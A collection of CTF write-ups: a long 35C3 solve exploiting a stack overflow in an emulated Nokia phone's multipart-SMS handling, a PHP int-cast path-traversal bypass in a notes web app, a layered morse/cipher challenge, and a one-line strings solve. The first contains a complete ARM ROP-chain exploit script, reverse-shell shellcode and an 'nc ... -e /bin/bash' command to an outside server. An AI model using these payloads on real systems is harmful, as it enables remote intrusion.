## Where do we begin? There is a phone running somewhere at the 35c3 convention. It is connected to a GSM network. But there is no radio connection for the physical layer, instead, all the GSM protocol run over UDP packets that are sent through an OpenVPN connection. I ran the `buildall` script, it took a while (I was in the South of Italy visiting my parents, here internet connection is far from good). I ran the `startall` script and only two containers out of 3 came up. One container was the `baseband`. another one was an `osmocombb` instance with 2 configured phone, and the third one, the one who did not come up, the one that really matters was an emulator for the Nokia phone. ### Inside the nokia phone`nokia_qemu` container is dying just after the start, but this does not stop us from getting inside and find our binary.the container as an `image` folder and inside that we have `nokia-image-nokia.ext4`. This is the filesystem of our phone. We can mount this and take a look.```bashsudo mount ./nokia-image-nokia.ext4 /mnt```There is a `/flag.txt` file containing:```If this was the real challenge, you would find the flag here.```So we at least know where is the flag. Inside `/opt/nokia` we have 3 arm32 binaries: `baseband` `layer1` `nokia_ui`. So, we probably need to remotely pwn one of those binaries and read the flag. ### Running the nokia phoneWe definitely need to have a running setup if we want to have any chance of pwning this.So we need to figure out why our docker container is not working. To be honest inside the readme there where some hint on how to run the container. But at that time I was not aware enough of the challenge set up to actually understand that.The Nokia phone is running inside a qemu that is inside the docker container.The problem was that it was not able to connect to x11 server to actually render stuff. My solution was to change the `-display sdl` into `-vnc :0` from the `runqemu.sh`. This enables a vnc server that you need to expose outside the container to actually have access to it.So you need to add a `-p 5900:5900` to you docker running command inside the `run.sh` script. Then we can connect to the screen using `vinagre` a vnc client. ![server]({{"https://mhackeroni.it/assets/img/newphonewhodis_writeup/vncphone.png"|absolute_url}}) When the nokia is running you can also connect through ssh as explained by the `runall.sh` script. Running `ps` we can actually confirm that those binaries that we found are actually running on the phone. ```bash 1172 root 6924 S /opt/nokia/nokia_ui 1173 root 1564 S /sbin/agetty -8 -L ttyAMA0 115200 xterm 1174 root 4944 S /usr/sbin/openvpn --daemon --writepid /var/run/openvpn/gsm.pid --cd /etc/open 1205 root 5852 S /opt/nokia/layer1 1206 root 6124 S /opt/nokia/baseband 1209 root 2108 S /usr/sbin/dropbear -i -r /etc/dropbear/dropbear_rsa_host_key -B```## Reversing the binary nokia_uiOpening the binary with ida you actually understand that most of the code is in thumb mode. But my ida fails to identify the code like that. You can use `Alt+G` to change the flag `T` to let ida know that a segment is actually in thumb mode. Playing with the phone you can notice that only 2 main functionalities are implemented inside the phone. - Phonebook - SMS So this phone cannot do voice call. Can only send and receive SMSes. Then we need to find where those SMSes are actually handled. Around address `0x12E82` we see this:```c if ( v49 == 0x202 ) { v51 = osmo_hexdump(recvstuff + 0x11, 163); printf("Received SMS TPDU: %s\n", v51); recv_sms(v44, recvstuff[16], recvstuff + 0x11); JUMPOUT(__CS__, v12); } if ( v49 == 515 ) { printf("Received SMS confirmation: msg_ref: %u - cause: %u\n", recvstuff[180], *(recvstuff + 46)); if ( recvstuff[181] ) sub_13388(v44, recvstuff[180], *(recvstuff + 46)); } else if ( v49 == 258 ) { printf("Shutdown indication: Old state: %u - New State: %u\n", *(recvstuff + 2), (*(recvstuff + 2) >> 32)); if ( *(recvstuff + 5) == 3 ) *(v44 + 60) = 1; JUMPOUT(__CS__, v12); } goto LABEL_20;``` The `Received SMS TPDU` gives away the fact that the next function is probably where SMS is interpreted. Here is the decompiled source from [`recv_sms`]({{"https://mhaceroni.it/assets/code/newphonewhodis_writeup/recv_sms.c"|absolute_url}}). There is basically 2 way of receiving SMS:- Normal SMS- Multi-Part SMS (Concatenated SMS) To have a multi-part SMS you need to insert inside the SMS payload a User Data Header ([`UDH`]({{"https://en.wikipedia.org/wiki/User_Data_Header#UDH_Information_Elements"|absolute_url}})).You can read the standard but this stuff is well known and can also be found on Wikipedia [`Concatenated SMS`]({{"https://en.wikipedia.org/wiki/Concatenated_SMS"|absolute_url}}). Looking at the Wikipedia page we can compare the standard header for multi-part SMS with this code: ```c puts("Received SMS with UDH"); if ( userbuf->encoded_data[1] ) { printf("Got unknown information element in UDH: 0x%02x\n", userbuf->encoded_data[1]); goto FAIL; } if ( userbuf->encoded_data[0] != 5 ) { puts("Concatenated SMS UDH with length != 5?");FAIL: puts("Received SMS with malformed/unknown UDH. Discarding..."); result = talloc_free(userbuf, 115284); goto LABEL_33; } if ( userbuf->encoded_data[2] != 3 ) { puts("Concatenated SMS UDH with header length != 3?"); goto FAIL; } nparts = userbuf->encoded_data[4]; if ( nparts > 3 ) { puts("Too many parts"); goto FAIL; } refnum = userbuf->encoded_data[3]; seqnum = userbuf->encoded_data[5];``` We know that the binary is using the standard UDH format. We can give a name to all those bytes that the program is parsing. So basically when you send a multipart SMS you add this header where you write a `refnum` or `CSMS` that is a unique id to identify the sequence of SMSes. You have a `nparts` or number of parts that are expected for that SMS. And the most important `seqnum` a number that says which part of SMS you are handling (2 means this is the second piece of the SMS). We also notice that we cannot have SMSes that are bigger than 3 parts. ## The Vulnerability After a while playing ctfs you know that if the author spent the time to implement the multi-part SMS protocol that stuff is needed for the attack. Where multi-part SMSes are actually processed we find this: ```c { if ( !v55 || v55 > 3 ) puts("Unknown data coding scheme in sms. Copying raw data after UDH"); puts("8 bit encoding"); v49 = 134; v50 = *(v47->data + 28); if ( v50 <= 0x8C ) v49 = v50 - 6; memcpy(&payload[134 * seqnum - 134], (v47->data + 35), v49); }``` This code is actually reconstructing the SMS from all its parties. Copying the result inside `payload` a variable on the stack.`seqnum` is a value that we can control arbitrarily. Even if we are limited to only 3 parts we can specify that we are sending part number 4 and this will cause the memcpy to write outside the allocated buffer writing the return address on the stack gaining control of the `PC`. ## Communicate with the phoneWe need to be able to send SMS to this phone to actually exploit the vulnerability. Thankfully the author provided us with a full setup that also contains configured version of [`osmocombb`]({{"https://github.com/osmocom/osmocom-bb"|absolute_url}}) software. After a while playing with these software (and actually reading the source code) I found that if you type enable in the console you can use the `sms` command to send some SMSes.The problem was that the interface was very limited. It was sending only single sms with the 7bit encoding scheme and was accepting only ASCII character. I needed to be more flexible to be able to produce multi-part SMSes.I tried to sniff the output of `osmocombb` to be able to write a python script. But I quickly discovered that the full gsm protocol was involved.This includes asking and obtaining a channel to actually communicate with the baseband. Implementing all this stuff was time consuming and, in ctf, you do not have much time. So, I decided to patch `osmocombb` software to implement a command that let me send a more customizable sms. Full patch is available [`here`]({{"https://mhaceroni.it/assets/code/newphonewhodis_writeup/osmocombb_path.diff"|absolute_url}}). The interesting stuff is: Be able to specify that the packet contains a UDH header.```c sms->ud_hdr_ind = atoi((char *)argv[1]);```Specify that the data was 8bit encoded and not 7bit encoded.```c sms->data_coding_scheme = 4;```Write sms as hex encoded so that I could you any value.```c char * text_hex = argv_concat(argv, argc, 3); char * text = hex2b(text_hex); int text_len = strlen(text_hex) / 2;``` The result is a command like this where I specify that UHD is included and the sms is hex encoded: ```bashsmshex one 1 9999 05000317010a170069350100921a05b46b2a0100247017006935010069460b276b2a0100287017006935010001dfc0466b2a01002c70170069350100020012346b2a01003070170069350100253b24286b2a010034701700693501002f62696e6b2a010038701700693501002f7368006b2a01003c7017006935010001701700531f0100``` ## The attackNow we can communicate via SMS with the phone and we also have a vulnerability. I wrote a small python function to encode SMSes: ```pythondef encode_part(ref_num, data, CSMS=0x17, max_part=3): assert max_part <= 3 header = "\x05\x00\x03" + chr(CSMS) + chr(max_part) + chr(ref_num) return header+data``` We can craft few SMSes with payloads from the `cyclic` command of pwntools and find how to control the PC. ```pythonc = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa" print "smshex one 1 9999",encode_part(4, c[:134], max_part=1).encode("hex")``` Now that we control PC challenge is solved right? Actually was not so easy. Even if it was a nokia phone, in reality, it was a binary running on a Linux distro. So it had NX bit and ASLR enable. The binary was not PIE. When I usually exploit a no PIE binary with ASLR and NX bit, I write a ropchain that leak something from the `.got` and then read again on top of the stack for a second stage rop that uses `libc`. But this time I did not have a connection to the binary. So was very hard to implement a second stage sent later. The phone had Internet access and also `nc` installed. So the plan was to execute: ```csystem("nc myserver 9999 -e /bin/bash");``` `system` was not in the .got so I need to do some computation from a value in the got to get the address for `system`. This stuff is hard while ropping, so the exploitation plan was slightly different: Let's map some executable address and write a shellcode that does a reverse connection. So, I collected a few gadgets and built the ropachain that execute a `mmap` on an address the I can choose. Permissions for this new page are of course `RWX`. ```python# 0x0001275e : ldr r3, [r5, #0x20] ; cmp r3, r4 ; bne #0x12760 ; ldrd r4, r5, [sp] ; add sp, #8 ; pop {r6, pc}r3load = 0x0001275e#0x000128fe : pop {r5, pc}r5pop = 0x000128fe#0x000118c6 : pop {r4, pc}r4pop = 0x000118c6#0x000172a6 : pop {r2, r3, r4, pc}r234pop = 0x000172a6#0x00016c12 : pop {r1, r4, pc}r14pop = 0x00016c12#0x00015c24 : pop {r0, r3, pc}r03pop = 0x00015c24#0x00012b4e : pop {r2, pc}r2pop = 0x00012b4e#0x000111c4 : pop {r3, pc} not thumbr3popnothumb = 0x000111c4#0x00011f52 : blx r4blxr4 = 0x00011f52# void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);mmap = 0x00011240mmap = 0x00013E0C +1memcpy = 0x00011410memcpy_got = 0x000320C0#0x0001fe36 : add r3, sp, #0x2b8addr3sp = 0x0001fe36 #0x000176c0 : add r0, sp, #0x1a0 ; movs r1, r0 ; bx lr#0x000122c0 : ldm.w ip, {r5, sb, sl, lr} ; add sp, #0x10 ; pop {r4, pc}ctrlr = 0x000122c0#0x00014b5a : ldr lr, [sp], #4 ; b.w #0x1263esetlrjmpr3 = 0x00014b5a"""Register state when we take control of PCr0 0x0 0r1 0x38024 229412r2 0x35a70 219760r3 0x35a70 219760r4 0x61716161 1634820449r5 0x61726161 1634885985r6 0x61736161 1634951521r7 0x61746161 1635017057r8 0x61756161 1635082593r9 0x61766161 1635148129r10 0x61776161 1635213665r11 0x61786161 1635279201r12 0x7 7sp 0x7efe9b38 0x7efe9b38lr 0x3f 63pc 0x5a5a5a5a 0x5a5a5a5acpsr 0x600b0110 1611333904fpscr 0x10 16"""address = 0x177000stderr = 0x00036E90ropchain = c[:74] + p32(stderr) + p32(address) * 4 ropchain = ropchain.ljust(94, "A")ropchain += p32(r3popnothumb)ropchain += p32(address) #r3 dont careropchain += p32(r5pop+1)ropchain += p32(address) #r5 dont careropchain += p32(r14pop+1)ropchain += p32(0x1000) #r1 sizeropchain += p32(address) #r4 dont careropchain += p32(r234pop+1) #pcropchain += p32(7) #r2 protropchain += p32(address) #r3 dont careropchain += p32(address) #r4 dont careropchain += p32(r03pop+1) #pcropchain += p32(address) #r0 addrropchain += p32(0x22) #r3 flags Anonimousropchain += p32(mmap)ropchain += p32(0x0) #fildesropchain += p32(0x0) #offropchain += p32(0x41414141) #pc``` ### Gaining back PC ControlThe main problem was that `mmap` assumed to be called with a `BLX`, ergo it will return to the value inside the `lr` register. For whatever reason that I do not know `lr` register was set to `0x3f` so a direct jump to `mmap` would cause a crash at the end.Instead of jumping directly to `mmap` then, we can use a call of `mmap` that is already in the program somewhere.This, after the execution of the `mmap`, would continue the execution in that part of the program.Then we just need to have the program not crashing before reaching another return that do not use link register.I jumped to `0x00013E0C +1`. ```c.text:00013E04 200 MOV.W R2, #3 ; prot.text:00013E08 200 ADD R1, R5 ; len.text:00013E0A 200 STR R5, [R4,#0x58] ; Store to Memory.text:00013E0C 200 BLX mmap ; Branch with Link and Exchange (immediate address).text:00013E10 200 ADDS R3, R0, #1 ; Rd = Op1 + Op2.text:00013E12 200 STR R0, [R4,#0x5C] ; Store to Memory.text:00013E14 200 BEQ.W loc_140F0 ; Bran```To ensure that the execution would continue without crashing, I tried to set most registers to `address`. In this way, instructions differentiating those registers would not end up crashing.This actually (and surprisingly) worked. I manually executed my payload with gdb until the program was popping another value from the stack to the `PC` register. I save the address did some math to understand how far it was from the vulnerable buffer. With an sms in position `8` we can gain back control of `PC` register. ### Second PayloadAt this point, we have a page in the memory space with a fixed address where we can write and jump into. We need some reliable way to copy a shellcode into this memory and jump to it.I tried for several hours to build a call to memcpy but I was not able to put a stack address into `r1` register. (`r1` is the source register because of the calling convention of amr32). Thankfully marcof came out with the idea of building a ropchain that write the shellcode into memory using registers. This is the type of gadget that you need: ```python# 0x00013568 : str r4, [r3] ; mov r0, r1 ; pop {r4, pc}storer4r3 = 0x00013568``` You put 4 bytes that you want to write in `r4` and the address where to write in `r3` and keep doing that until the whole shellcode is written. The challenge here was to have a chain not too long, because we were close to env variable on the stack, overwriting env was ending in a crash because used by some time function. After several iterations we end up with this script to generate such chain:```pythonropchain_second += p32(r4pop+1) #r4ropchain_second += shellcode[0:4] #r4for x in range(0, len(shellcode), 4): spiece_next = shellcode[x+4:x+8] if x >= len(shellcode)-4: spiece_next = p32(address+1) # These put jumping address in r4 print "done" ropchain_second += p32(popr3+1) #pc ropchain_second += p32(address+x) #r3 value ropchain_second += p32(storer4r3+1) #pc ropchain_second += spiece_next #r4#add jump to addressropchain_second += p32(blxr4+1)``` The other point to keep the chain short was keeping the payload short. We basically used this [`shellcode`]({{"http://shell-storm.org/shellcode/files/shellcode-754.php"|absolute_url}}) with small fixes: - we removed instruction that jumps in thumb mode (we can do this directly) - we changed "/system/bin/sh" in "/bin/sh" - we reduce bytes for the port. This is the final script that produces 5 SMSes. The last one is the one which triggers the bug so it needs to be the last one. ```python from pwn import * def encode_part(ref_num, data, CSMS=0x17, max_part=3): assert max_part <= 3 header = "\x05\x00\x03" + chr(CSMS) + chr(max_part) + chr(ref_num) return header+data c = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa" #r3 load# 0x0001275e : ldr r3, [r5, #0x20] ; cmp r3, r4 ; bne #0x12760 ; ldrd r4, r5, [sp] ; add sp, #8 ; pop {r6, pc}r3load = 0x0001275e#0x000128fe : pop {r5, pc}r5pop = 0x000128fe#0x000118c6 : pop {r4, pc}r4pop = 0x000118c6#0x000172a6 : pop {r2, r3, r4, pc}r234pop = 0x000172a6#0x00016c12 : pop {r1, r4, pc}r14pop = 0x00016c12#0x00015c24 : pop {r0, r3, pc}r03pop = 0x00015c24#0x00012b4e : pop {r2, pc}r2pop = 0x00012b4e#0x000111c4 : pop {r3, pc} not thumbr3popnothumb = 0x000111c4#0x00011f52 : blx r4blxr4 = 0x00011f52# void *mmap(void *addr, size_t len, int prot, int flags, int fildes, off_t off);mmap = 0x00011240mmap = 0x00013E0C +1memcpy = 0x00011410memcpy_got = 0x000320C0#0x0001fe36 : add r3, sp, #0x2b8addr3sp = 0x0001fe36 #0x000176c0 : add r0, sp, #0x1a0 ; movs r1, r0 ; bx lr#0x000122c0 : ldm.w ip, {r5, sb, sl, lr} ; add sp, #0x10 ; pop {r4, pc}ctrlr = 0x000122c0#0x00014b5a : ldr lr, [sp], #4 ; b.w #0x1263esetlrjmpr3 = 0x00014b5a"""Register state when we take control of PCr0 0x0 0r1 0x38024 229412r2 0x35a70 219760r3 0x35a70 219760r4 0x61716161 1634820449r5 0x61726161 1634885985r6 0x61736161 1634951521r7 0x61746161 1635017057r8 0x61756161 1635082593r9 0x61766161 1635148129r10 0x61776161 1635213665r11 0x61786161 1635279201r12 0x7 7sp 0x7efe9b38 0x7efe9b38lr 0x3f 63pc 0x5a5a5a5a 0x5a5a5a5acpsr 0x600b0110 1611333904fpscr 0x10 16"""address = 0x177000stderr = 0x00036E90ropchain = c[:74] + p32(stderr) + p32(address) * 4 ropchain = ropchain.ljust(94, "A")ropchain += p32(r3popnothumb)ropchain += p32(address) #r3 dont careropchain += p32(r5pop+1)ropchain += p32(address) #r5 dont careropchain += p32(r14pop+1)ropchain += p32(0x1000) #r1 sizeropchain += p32(address) #r4 dont careropchain += p32(r234pop+1) #pcropchain += p32(7) #r2 protropchain += p32(address) #r3 dont careropchain += p32(address) #r4 dont careropchain += p32(r03pop+1) #pcropchain += p32(address) #r0 addrropchain += p32(0x22) #r3 flags Anonimousropchain += p32(mmap)ropchain += p32(0x0) #fildesropchain += p32(0x0) #offropchain += p32(0x41414141) #pc """r0 0xffffffff 4294967295r1 0x9 9r2 0x76f9c6a0 1996080800r3 0xffffffff 4294967295r4 0x41414141 1094795585r5 0x41414141 1094795585r6 0x41414141 1094795585r7 0x41414141 1094795585r8 0x41414141 1094795585r9 0x177000 1536000r10 0x177000 1536000r11 0x177000 1536000r12 0x6 6sp 0x7ed1fd70 0x7ed1fd70lr 0x76dde329 1994253097pc 0x5a5a5a5a 0x5a5a5a5acpsr 0x200f0110 537854224fpscr 0x10 16""" #0x000118c4 : strb r3, [r4] ; pop {r4, pc}storer3r4 = 0x000118c4#0x00013ad2 : str r2, [r3] ; pop {r4, pc}storer2r3 = 0x00013ad2# 0x00013568 : str r4, [r3] ; mov r0, r1 ; pop {r4, pc}storer4r3 = 0x00013568 ropchain_second = "A"*126 # 0x00012a6a : pop {r3, pc}popr3 = 0x00012a6a shellcode = "\x02\x20\x01\x21\x92\x1A\x0F\x02\x19\x37\x01\xDF\x06\x1C\x08\xA1\x10\x22\x02\x37\x01\xDF\x3F\x27\x02\x21\x30\x1c\x01\xdf\x01\x39\xFB\xD5\x05\xA0\x92\x1a\x05\xb4\x69\x46\x0b\x27\x01\xDF\xC0\x46\x02\x00\x12\x34\x25\x3b\x24\x28\x2f\x62\x69\x6e\x2f\x73\x68\x00" print len(shellcode)ropchain_second += p32(r4pop+1) #r4ropchain_second += shellcode[0:4] #r4for x in range(0, len(shellcode), 4): spiece_next = shellcode[x+4:x+8] if x >= len(shellcode)-4: spiece_next = p32(address+1) # These put jumping address in r4 print "done" ropchain_second += p32(popr3+1) #pc ropchain_second += p32(address+x) #r3 value ropchain_second += p32(storer4r3+1) #pc ropchain_second += spiece_next #r4#add jump to addressropchain_second += p32(blxr4+1) ropchain1 = ropchain[:134]ropchain2 = ropchain[134:] ropchain_second1 = ropchain_second[:134]ropchain_second2 = ropchain_second[134:134*2]ropchain_second3 = ropchain_second[134*2:134*3]# ropchain_second4 = ropchain_second[134*3:]print len(ropchain_second4)print "smshex one 1 9999", encode_part(5+5, ropchain_second3, max_part=1, CSMS=23).encode("hex")print "smshex one 1 9999", encode_part(5+6, ropchain_second4, max_part=1, CSMS=24).encode("hex") # print "smshex one 1 9999", encode_part(5+4, ropchain_second2, max_part=1, CSMS=21).encode("hex") print "smshex one 1 9999", encode_part(5+3, ropchain_second1, max_part=3).encode("hex")print "smshex one 1 9999", encode_part(5, ropchain2, max_part=3).encode("hex")print "smshex one 1 9999",encode_part(4, ropchain1, max_part=3).encode("hex") #35C3_n0k1a_pH0ne_i5_b3st_ph0n3```
# 35C3 Junior CTF – Not(e) accessible * **Category:** Web* **Points:** 55 (variable) ## Challenge > We love notes. They make our lifes more structured and easier to manage! In 2018 everything has to be digital, and that's why we built our very own note-taking system using micro services: Not(e) accessible! For security reasons, we generate a random note ID and password for each note.>> Recently, we received a report through our responsible disclosure program which claimed that our access control is bypassable...>> http://35.207.120.163>> Difficulty estimate: Easy-Medium ## Solution If you try to submit a note (with spaces) an error will appear. > ERROR! - Text does not match /^[a-zA-Z]+$/ If the text follows the shown regex, the note is inserted showing some info. > Your note ID is 5779715767432985082>> Your note PW is 44a0cbcab0cdb0326be3b76b21bb25c9>> And the link to the note:> http://35.207.120.163/view.php?id=5779715767432985082&pw=44a0cbcab0cdb0326be3b76b21bb25c9 Analyzing the HTML, you can find the following comment. ```HTML ``` The archive contains both the frontend and the backend code. Into the backend file `app.rb` you can discover the backend endpoint that must be called to retrieve the flag. ```Rubyget '/admin' do File.read("flag.txt")end``` The code that can be abused is into frontend `view.php` file. ```PHPif(file_exists("./pws/" . (int) $id . ".pw")) { if(file_get_contents("./pws/" . (int) $id . ".pw") == $_GET['pw']) { echo file_get_contents($BACKEND . "get/" . $id);``` The `int` cast is not present everywhere, so the `id` parameter can be crafted like the following. ```5779715767432985082/../../admin``` With this parameter, the first two `if` statements will be true, because the result of the expression is the following, due to the fact that PHP will consider only the integer part for the cast. ```./pws/5779715767432985082.pw``` That result is a valid password file, the one created previously during the note submission. The `file_get_contents` instruction will perform a HTTP GET call to the following backend endpoint. ```$BACKEND/get/5779715767432985082/../../admin``` That will be interpreted like `$BACKEND/admin` Hence, the flag will be returned. ```35C3_M1Cr0_S3rvices_4R3_FUN!```
# Never Ending Crypto Redux >The challenge is back and stronger than ever!IT WILL NEVER END!! >Good luck. You're gonna need it. >nc 18.223.156.26 12345 ## First steps No source code, only an address. This doesn't bode well. Basically, the script first asks for input, encrypts it and sends it back. We are also greeted by an ominous "Level 0" hinting there might be more (SPOILER ALERT: there are). So I went level by level until the end. ## Owning this Note: all levels start with dots and dashes, i.e. morse or a variation thereof.### Level 0 Plain morse. Simply decrypt and send. Easy peasy. ### Level 1 Morse, than rot13. Also easy. ### Level 2 This was morse but the dots are dashes and vice versa. I called it MorseInv. ### Level 3 So level 3 is where my shame begins. I failed to identify the cipher. I knew it was transposition but my attemps and identifying the correct one failed miserably. At this point it was also around 2 am and I was pretty exhausted. I went to sleep and went directly back to it upon waking up. I resolved to do it the ugly way: bruteforcing. Using a mix of ciphers and some actualy hardcoded transposition functions i built a functiion that will decrypt anything between 5-15 chars. I called it bruteDecrypt. But it did the trick and as mom says, if it's stupid and it works, it ain't stupid! ### Level 4 The string was first decrypted using bruteDecrypt then rot13. So combination of level 1 and 3 Buum done. ### Level 5 Same as level 4 but the morse is inversed and rot13 (level 2 + level 3 + level 1) ### Level 6 This one also took me a while. I couldn't recognize Vigener (which is what it was), but recognized that the letters were shifted by fixed amounts depending on their position in the string. So I simply hardcoded that up to length = 15. Buum, ugly but donezo. ### Final level: Level 7 Ah, the fun of 7. This took me a while as well and I ended up encrypting a bunch of strings using my own strings to get the right combination since it was obviously a mix of previously used ciphers, keeping in line with the previous levels (at least I hoped so). Turns out it's simply inverse morse, transposed, run through a vigenere cipher, albeit a different one then for level 6. So level 2 + level 3 + level 6. ## Final words The challenge took me roughly 4h to compete but was fun to do since I love scripting stuff, one of my favorite ones in the competition!
Downloaded Image From The Above Link... And Just Simply Ran Strings...... Thats it ..... The Flag is :- X-MAS{0_Chr15tmas_tr33_1s_th1s_a_flag_i_wond3r}.....:)